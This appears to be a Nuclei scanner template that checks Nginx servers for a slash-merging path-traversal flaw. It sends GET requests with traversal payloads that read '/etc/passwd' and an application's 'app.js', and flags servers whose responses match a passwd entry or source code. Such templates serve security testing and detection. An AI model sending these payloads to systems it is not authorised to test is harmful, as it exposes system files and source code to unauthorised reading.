nginx-merge-slashes-path-traversal: Nginx Server - Local File Inclusion

id: nginx-merge-slashes-path-traversal

info:
  name: Nginx Server - Local File Inclusion
  author: dhiyaneshDk
  severity: high
  description: Nginx server is vulnerable to local file inclusion.
  reference:
    - https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/nginx-merge-slashes-path-traversal.json
    - https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 3
  tags: exposure,config,lfi,nginx,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}///////../../../etc/passwd"
      - "{{BaseURL}}/static///////../../../../etc/passwd"
      - "{{BaseURL}}///../app.js"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "app.listen"
        part: body
        condition: or

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100dde369eefb3ff4de26e19d231f0fa65594419b2a1c21cad3ba1589d01db30928022003c2e3f2ba63b68f3731edc12ad190155fc6fd75c91e5097125dc7e8f998c77a:922c64590222798bb761d5b6d8e72950